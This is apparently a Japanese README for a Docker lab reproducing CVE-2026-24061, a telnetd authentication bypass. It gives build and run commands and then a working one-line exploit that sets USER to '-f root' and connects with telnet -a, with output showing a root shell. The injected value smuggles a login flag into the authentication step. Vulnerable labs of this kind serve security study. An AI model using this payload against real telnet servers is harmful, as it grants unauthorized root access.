CVE-2026-24061 セットアップ

このリポジトリには、CVE-2026-24061 用の Docker セットアップが含まれています。

Docker をインストールしたら、次の操作を行うだけです。

このリポジトリをクローンします。
次のコマンドを実行します:

sudo docker build . --tag telnetd-auth-bypass

Docker イメージがビルドされたら、次のコマンドでコンテナを起動できます:

sudo docker run -dt --rm --name test telnetd-auth-bypass

これで、pwn 可能な脆弱なラボ環境の準備が完了です。ペイロードを送信して root シェルを取得するだけです :)

kali@kali:~$ USER="-f root" telnet -a 172.17.0.2
Trying 172.17.0.2...
Connected to 172.17.0.2.
Escape character is '^]'.

Linux 6.12.25-amd64 (5321b63dbc56) (pts/1)

Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.12.25-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

root@5321b63dbc56:~#

詳細については、Telnet 認証バイパスから root への脆弱性に関する私の投稿を参照してください。

CVE-2026-24061-setup

人気

CVE-2026-24061 セットアップ